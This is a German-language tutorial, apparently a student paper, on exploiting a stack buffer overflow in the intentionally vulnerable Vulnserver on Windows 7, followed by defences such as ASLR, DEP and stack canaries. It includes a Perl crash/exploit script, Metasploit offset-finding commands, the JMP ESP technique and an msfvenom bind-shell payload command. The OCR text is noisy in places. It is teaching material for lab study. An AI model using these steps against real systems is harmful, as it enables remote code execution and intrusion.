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1 Einfiihrung

1.1 Motivation

Der Bufferoverflow ist einer der dltesten Sicherheitsschwachstellen in der Geschich-
te der Computer. Aus diesem Grund ist es erstaunlich, dass heute noch Software
mit BO-Schwachstellen gibt, trotz aller Schutzmechanismen, die im Laufe der Zeit
entwickelt wurden.

1.2 Der Stack

Der Stack ist ein Teilbereich des Speichers. Pointer auf Funktionen liegen im Stack
abgespeichert und werden von dort aus auch aufgerufen. Der Instruction Poin-
ter(EIP) zeigt immer auf den néchsten abzuarbeitenden Befehl und ist normaler-
weise unter dem reservierten Buffer zu finden. Bei einem Programmaufruf wird der
Zustand des Speichers mit den Registern und Adressen auf dem Stack gespeichert
und bei dem Return-Befehl, wieder in den Speicher geladen.

Buffer
Saved Frame PTR
Instruction PTR

Abbildung 1.1: Stack Layout

1.3 Buffer Overflow

Ein Buffer Overflow resultiert meistens aus einem Programmierfehler. Wenn User-
Input weder limitiert noch iiberpriift wird, kann es in einem Buffer Overflow enden.
Der reservierte Buffer im Stack ist nicht unendlich. Uberschreitet der Input diesen
Buffer, wird beim Return der Inhalt bestimmter Register iiberschrieben.



Abbildung zeigt, dass der Instruction Pointer nicht weit vom Buffer entfernt
ist. Wird dieser beim Riicksprung iiberschrieben, wird versucht ein Befehl in einer
Adresse auszufithren, die womdoglich nicht existiert. Das Programm stiirzt ab.

Dies erlaubt es einem Angreifer, Schadcode in das Programm einzuspeisen und
den Instruction Pointer zu iiberschreiben, so dass er auf den Schadcode zeigt. Im
schlimmsten Fall erlangt der Angreifer vollsténdige Kontrolle iiber das System.
Die iibliche Vorgehensweise ist, zuerst ein Programm auf Bufferoverflow zu testen,
indem ein ungewdohnlich langen String als Parameter zu iibergeben. Stiirzt das
Programm ab, ist eine BO-Schwachstelle wahrscheinlich.

Sobald der Instruction Pointer iiberschrieben wurde, ist der néchste Schritt, Kon-
trolle iiber ihn zu erlangen. Dafiir muss die genaue Stelle im Stack gefunden werden,
in der der EIP liegt. Danach kann (Schad-)Code in den Stack injiziert werden und
mit dem Instruction Pointer draufgezeigt werden.

1.4 Unterschiede Windows/Linux

Ein Buffer Overflow ist im Kern plattformunabhéngig, und kann iiberall auftreten.
Er ist das Ergebnis eines Programmierfehlers. Den einzigen Unterschied bilden die
Programme, die eventuell nur auf bestimmten Plattformen laufen und sich dement-
sprechend etwas anders verhalten. Einen Buffer Overflow in Windows auszunutzen
folgt im Allgemeinen die selben Schritte wie in Linux, nur auf einem anderen Weg.
Der Gedanke dahinter ist allerdings immer der gleiche.

Einige Betriebssysteme, darunter Windows, haben eingebaute Sicherheitsmafinah-
men gegen Buffer Overflows, was den Exploit erschwert.

1.5 Benotigte Tools

Um einen Buffer Overflow in Windows durchzufiihren, benétigt man unter anderem
einen Debugger, um Uberblick iiber die Register und den Aufbau des Stacks zu
behalten und ein angreifbares Programm, das einen Buffer Overflow zulésst. Hier:

e OllyDbg Debugger [1]
e Vulnserver.exe als angreifbares Programm auf einer Windows 7 VM [
e Der Exploit wird in Perl geschrieben

e Metasploit-Framework auf Kali Linux fiir zusétzliche Tools

"http://www.ollydbg.de/
2https://github.com /stephenbradshaw /vulnserver



2 Stack-based Bufferoverflow in Windows

2.1 Das Programm crashen

Zur Demonstration wird das absichtlich schwaches Programm Vulnserver auf einem
Windows 7 System angegriffen. Vulnserver verfiigt iiber mehrere Schwachstellen,
unter anderem eine BO-Schwachstelle.

Das Exploit-Skript ist anfangs sehr simple. Die einzige Aufgabe wird sein, einen
sehr langen String (etwa 3000 Bytes) dem Programm zu iiberreichen, um den
reservierten Puffer zu sprengen. Der Server wird gestartet und an den OllyDbg-
Debugger angehéngt.

Listing 2.1: exploit.pl
#1/usr/bin/perl
use 10 :: Socket;
if (BARGV([1] eq ") {
die (” Usage: $0 IP_ADDRESS PORT\n\n" );
}
$baddata = "TRUN .7 ;
$baddata .= "A” x 3000;
$socket = I0:: Socket : : INET—>new (
Proto => "tcp”,
PeerAddr => "$ARGV[0]”,
PeerPort => "$ARGV[1]”
) or die ”Cannot connect to $ARGV[0]:$ARGV[1]";
$socket—>recv($sd, 1024);
print 7 $sd”;
$socket —>send ($baddata );

Das ProgrammE] bereitet eine Variable baddata vor, setzt den Befehl TRUN vor-
weg und fiillt den Rest mit 3000 mal den Character ,A“. Zusétzlich werden zwei
Variablen erstellt, die er erst gesetzt werden, wenn iiber die Konsole die Addresse
(PeerAddr) und der Port (PeerPort) angegeben werden. Anschliefend werden die
Daten iiber den TCP-Socket an die spezifizierte Addresse gesendet. Der Default-
Port ist 9999.

"Ubernommen von:
http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/


http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/

perl trun—exploit—vs.pl 192.168.56.101 9999

Innerhalb weniger Sekunden wird das Programm im Debuggers pausiert mit einem
Fehler. Der Instruction Pointer zeigt auf die Adresse 41414141, die nicht existiert.
41 ist die ASCII Darstellung des Buchstaben ,A“, der insgesamt 3000 mal in
den Puffer injiziert wurde und somit den Instruction Pointer iiberschrieb. Das
Programm stiirzt ab. Der néichste Schritt ist nun, die genaue Adresse des EIPs
herauszufinden, um eigenen Code ausfzufiihren.

File View Debug Trace Plugins Options Windows Help
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Abbildung 2.1: Vulnserver gecrasht

2.2 Den EIP finden

Es gibt mehrere Moglichkeiten die Adresse des EIPs herauszufinden. Eine ist, sich
an die Adresse heranzutasten: Anstatt den Speicher mit 3000 ,,A“s zu fiillen, fiillt
man ihn mit 1500 ,A“s und 1500 ,,B“s. Beim néchsten Crash wird mittels des
Debuggers wieder der EIP betrachtet.



Fegisters (30Mow?] .
ERX B1FCFZBE ASCII —
ECH BB8zZ054FC

EDX EEEEREEE

EEX S8EEAGRSC =
ESF B17CF2EB HSCII
EEF 42424242

ESI 888888588 —
EDI S8Eaaaon

EIF 42424242

ES @EZ22 3Zbit
CS BB1E 2Zbit
S5 @22 3Zbit
BE23 3Zbit
FS BBZE =2Zbit
G5 @EEE MHULL

O+Hmrdomo
5 S I
]

L]

Abbildung 2.2: Zweiter Crash

Diesmal ist der EIP mit 42424242 {iberlaufen. Der Pointer befindet sich dement-
sprechend in der zweiten Halfte des Buffers, wo die ,,B“s hineingeschrieben worden
sind. Nun werden die ,,B“s in 750 ,B“s und 750 ,,C“s aufgeteilt, u.s.w.

Diese Methode ist allerdings ziemlich zeitaufwendig. Nach jedem Crash muss das
Programm neu gestartet und das Perl-Skript angepasst werden. Schneller und ein-
facher ist es, mit einzigartigen Mustern/Patterns zu arbeiten. Metasploit-Framework
stellt dafiir die Ruby-Skripte pattern_create.rb und pattern_offset.rb zur Verfiigung.
Ersteres erstellt ein Pattern, in dem alle vier aufeinanderfolgenden Bytes einzig-
artig im gesamten Muster sind. Dies erleichtert das Finden des genauen Offsets,
der beim Programmcrash im EIP gespeichert ist. Der folgende Befehl erstellt ein
Pattern, das 3000 Bytes lang ist.

Listing 2.2: Pattern

root@kali:"# /usr/share/metasploit—framework/tools/pattern_create.rb 300
Aa0AalAa2Aa3AadAab5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4ADS
Ab6Ab7TAbSAPIACOACcIAc2Ac3Ac4AcHAc6ACcTAC8ACIAdOAd]
Ad2Ad3Ad4Ad5Ad6AdTAd8AdIAe0Ael Ae2Ae3AedAed5Ae6AeT
Ae8AeIATOAfIAf2Af3AfAAfSAf6AfTAIRATIAg0AgI Ag2Ag3
AgdAghAgbAgTAg8AgIAhOAhT1Ah2Ah3Ah4ARL . ..

Dieses Pattern wird nun anstatt der 3000 ’A’s in den Buffer geschrieben und Vuln-
server neu gestartet.

perl trun-exploit-pattern.pl 192.168.56.101 9999



Fegisters [(S0OMowt)
ERX B1VEFZ2EE ASCII
ECH HAEZES4FC
ED- AEEEEEEE
EE:X AEEEEEEC
ESF B1VEF2EG ASCII
EEF &F4327EF
ESI AEEEEEEE
EODI A8EEEEAE

EIF 29:cF4232

ES BBz23 2Zbit
CS BH1BE 32bit
55 BEZ32 3Zbit
0SS 8623 3Zbit
FSs BEasE =2Zbit
G5 DEEEe HULL

aHuordTomc
EE G E e

Abbildung 2.3: Pattern im EIP

Die neue Adresse ist 396F4338. Um herauszufinden wo dies im Pattern zu finden
ist, wird das zweite Ruby-Skript von Metasploit-Framework verwendet.

Listing 2.3: Pattern-Offset

root@kali:"# /usr/share/metasploit—framework/tools/pattern_offset.rb 396
[*] Exact match at offset 2006

Der EIP beginnt demnach 2006 Bytes nach Beginn des Buffers. Dies kann noch
verifiziert werden, indem das néchste Mal 2006 ,A“s, 4 ,B“s und als Rest ,,C“s
eingespeist werden. Crasht das Programm mit dem EIP auf 42424242, dann wurde
definitiv der genaue Ort des Instruction Pointers gefunden.

2.3 Eigenen Code ausfiihren

Sobald der EIP gefunden wurde, kann eigener (Schad-)Code ausgefiihrt werden,
indem er mit derselben Methode in das Programm injiziert wird, und der EIP
auf die Anfangsadresse des Codes gesetzt wird. Dabei ist wichtig, dass der Code
in Maschinensprache und bereits kompiliert im Speicher liegt, sonst kann er vom
Programm nicht interpretiert werden.

Diese Methode funktioniert in diesem Fall, ist aber nicht sehr elegant. Unter ande-
ren Umsténden (bei einem anderen Programm, mit einem etwas anderen Buffer),
wird dieser Code sogar sehr wahrscheinlich scheitern. Das Ziel ist es, den Exploit
so universell einsetzbar wie moglich zu machen. Anstatt also die Adresse direkt



in den EIP zu schreiben, ist es moglich einen JMP zu einem der {iberschriebenen
Register zu machen. Ein Blick in den Debugger zeigt, dass das der Stack Pointer
dafiir in Frage kdme.

» |Begisters [(SDMowt)
ERX BleDFz@E ASCII
ECH BEcES4FC
EDX BE0EE08E
EEX BEREEHEC
ESF [B1E0F9EE ASCIT
EEF 41414141
ES] BEnasnaa
EOI BER8EREaE

EIF 42424242

B ES BE22 2Zbit
1 CS BAlE 2Zbit
B 55 BE22 2Zbit
1 DS @823 2Z2bit
B FS BE3E 2Zbit
S G5 @eEE MULL

-

B1c0F2CC 1414141 | AAAA
B1e0F2068| 41414141| AAAR
B1s0F204| 41414141| AAAR
B1s0F202] 41414141| AAAR
A1e0F20C] 42424242| EEEE
[ERN=INIgEE)  43434343| CCCC
B1s0F2E4| 43434243| CCCC

B1e0F2ES| 43434243| CCCC

B1s0F2EC| 43434243| CCCC
B1e0F2FA| 43434243| CCCC
B1e0F2F4| 43434243| CCCC
B1s0FIFS] 4343432343| CCCC

T Il o | o ADADADADT ] T

Abbildung 2.4: Der ESP gefiillt mit ,,C*s

In der Abbildung[2.4)ist deutlich zu sehen, wie der Instruction Pointer auf 42424242
steht. Im unteren Teil der Abbildung befindet sich die Detailansicht des Speichers
mit den Adressen und den Werten. Interessant in diesem Fall ist der Stack Pointer,
der direkt hinter dem Instruction Pointer liegt und im Moment mit dem Character

,Caufgefiillt ist. Diese kénnen sehr leicht mit Schadcode ersetzt werden, da die
Debugger die Adresse anzeigt (hier: 016DF9EOQ).

Nachdem also eine geeignete Stelle fiir den Schadcode gefunden wurde, muss nun
der EIP auf einen JMP ESP Befehl zeigen, um zu dem Register zu springen und
die ,C“s zu ersetzen. Anstatt einen Jump zu der Adresse zu hardcoden, ist es
sinnvoller einen Jump zum Stack Pointer zu machen. Denn je nachdem mit wel-
chen Parametern das Programm gestartet worden ist, kann es sein, dass sich die
Register und Anordnung des Speichers verschieben. Schon eine kleine Abweichung
kann dazu fithren, dass der Exploit nicht mehr durchzufiihren ist. Ein solcher Be-
fehl kann allerdings meist ganz einfach im Programm selbst gefunden werden, in
einem der vielen Module die einbezogen sind. Diese werden némlich immer an
die selbe Stelle im Speicher geladen und &ndern die Adresse nicht (vorausgesetzt
ASLR ist nicht aktiviert, doch dazu spater mehr). Mithilfe von OllyDbg kann man



sich eine Liste dieser Module anzeigen lassen. Hat man ein Modul gefunden, das
den gesuchten Befehl enthélt, werden die vier ,B“s aus dem Exploit-Skript nun
mit der Adresse des Befehls ersetzt. Wichtig dabei ist, dass die Adresse ,,verkehrt-
herum*“eingetragen wird, damit sie am Ende wieder richtigherum ausgelesen wird.

Der Instruction Pointer zeigt nun auf den Stack Pointer. Der letzte Schritt des
Exploits sieht es vor, Shellcode beginnend ab dem ESP zu injizieren, der dann
vom Programm ausgefiihrt wird. Metasploit hilft diesmal auch wieder, um den
Windows-Shellcode zu generieren.

root@kali: msfvenom -p windows/shell_bind_tcp -s 990 -b "\x00\x40\x0a\x0d" -f
perl

Der Befehl erstellt Shellcode im Format Perl, sodass es von dem Exploit ausfiithrbar
ist. Die maximale Lénge soll 990 Byte sein, da das die Grofle der Reihe von 'C’s ist,
die ab dem ESP zur Verfiigung steht. Die Option -b fiihrt eine Reihe von sogenann-
ten Bad-Characters an, die es im Shellcode zu vermeiden gilt. Grund dafiir ist, dass
sie zu unerwiinschtem Verhalten des Programms fithren kann. Beispielsweise x00
signalisiert das Ende einer Zeichenkette, x0A das Ende einer Zeile. Sollte eines die-
ser Zeichen ausgefiihrt werden, endet das Programm nicht mit dem gewiinschten
Exploit.



d with 1 iterations of ikata ga nai

Abbildung 2.5: Shikata ga Nai Shellcode in Perl

Herauskommt der in Abbildung[2.5]zu sehende Shellcode, komplett ohne die zu ver-
meidenden Bad-Characters. Dieser wird nun anstatt der ’C’s in das Exploit-Skript
eingefiigt. Alternativ kann nun der Beginn mit NOPs (No Operation) aufgefiillt,
oder der ESP um einige Bytes verschoben werden. Grund dafiir ist, dass EIP und
ESP nicht zu nah beieinander liegen diirfen, da der Shellcode sich bei zu wenige
Platz beim Decodieren fehlerhaft verdndert.

Wird Vulnserver nun ein letztes Mal mit dem verdnderten Skript gestartet, wird
es diesmal nicht abbrechen. Danach kann man sich von Kali Linux iiber Netcat
mit der Windows Maschine verbinden.



Al rights reser

Abbildung 2.6: Zugriff auf die Windows-Maschine
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3 SicherheitsmaBBnahmen

3.1 Address Randomization

Address Space Layer Radomization (ASLR). Bei jedem Programmstart bekommt
der Buffer eine neue Adresse zugeordnet. Nun ist es zwar noch moglich, mithilfe
des Debuggers die Adressen herauszufinden, allerdings erfordert ein erfolgreicher
Exploit den Neustart des Programmes mit angepassten Parametern, bei dem der
Speicher wieder neu verteilt wird.

Ab Windows 7 und aufwérts werden Module und Programme immer hiufiger mit
ASLR kompiliert.

3.2 Data Execution Prevention

DEP verhindert, dass in bestimmten Bereichen des Stacks Code ausgefiithrt werden
kann. Welche Bereiche das genau sind, weilein Angreifer nicht. Dies erschwert einen
Angriff mit Buffer Overflow erheblich, da erstmal im Stack ein Bereich gefunden
werden muss, in dem der Shellcode ausfithrbar ist.

Performance Optiens ===
visual Effects | Advanced | Data Execution Prevention

= Data Execution Prevention (DEP) helps protect
3 i against damage from viruses and other security
threats. How does it work?
@ Turn on DEP for essential Windows programs and services
only

) Turn on DEP fr all programs and services except those T
select:

‘Your computer's processor supports hardware-based DEF.

ok | [ cancd ][ apply

Abbildung 3.1: DEP in Windows 7
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3.3 Safe Libraries

Safe Libraries werden fiir einige BO-anféllige Sprachen wie zum Beispiel C ange-
boten. Sie iiberpriifen die Eingabe von unsicheren Funktionen (z.B. scaniﬂ) darauf,
ob beispielsweise eine bestimmte Grg” e iiberschritten worden ist.

3.4 Stack Canaries

Stack Canaries sind Integer-Werte, die am Ende des Buffers abgespeichert sind.
Erfolgt ein Bufferoverflow, werden diese Werte iiberschrieben und verédndert. So-
bald dies bemerkt wird, bricht das Programm ab, und es wird verhindert, dass
Schadcode ausgefiihrt wird.

!Unsicher bezieht sich hierbei auf die Tatsache, dass eingegebene Strings ungepriift verarbeitet werden

12



Literaturverzeichnis

Georgia Weidmann. Penetration Testing: A Hands-On Introduction to
Hacking. No Starch Press, 2014

Infosec Institute: Stack Based Buffer Overflow Tu-
torial, http://resources.infosecinstitute.com/
stack-based-buffer-overflow-tutorial-part-1-introduction/

Buffer Overflow, Data Execution Prevention, and You, http://www.
windowsecurity.com/articles-tutorials/authentication_and_
encryption/Buffer-0Overflows-Data-Execution-Prevention-You.html

The Grey Corner: Introducing Vulnserver, http://www.thegreycorner.
com/2010/12/introducing-vulnserver.html

Stack Exchange: Defeating Canaries, ASLR, DEP, NX,
http://security.stackexchange.com/questions/20497/
stack-overflows—-defeating-canaries—-aslr-dep-nx

Wikipedia: Address Space Layer Randomization, https://en.wikipedia.
org/wiki/Address_space_layout_randomization

Metasploit-Framework, https://www.metasploit.com/
Kali Linux, https://www.kali.org/

ActivePerl, http://www.activestate.com/activeperl

13


http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/
http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction/
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/Buffer-Overflows-Data-Execution-Prevention-You.html
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/Buffer-Overflows-Data-Execution-Prevention-You.html
http://www.windowsecurity.com/articles-tutorials/authentication_and_encryption/Buffer-Overflows-Data-Execution-Prevention-You.html
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx
http://security.stackexchange.com/questions/20497/stack-overflows-defeating-canaries-aslr-dep-nx
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://www.metasploit.com/
https://www.kali.org/
http://www.activestate.com/activeperl

	Einführung
	Motivation
	Der Stack
	Buffer Overflow
	Unterschiede Windows/Linux
	Benötigte Tools

	Stack-based Bufferoverflow in Windows
	Das Programm crashen
	Den EIP finden
	Eigenen Code ausführen

	Sicherheitsmaßnahmen
	Address Randomization
	Data Execution Prevention
	Safe Libraries
	Stack Canaries


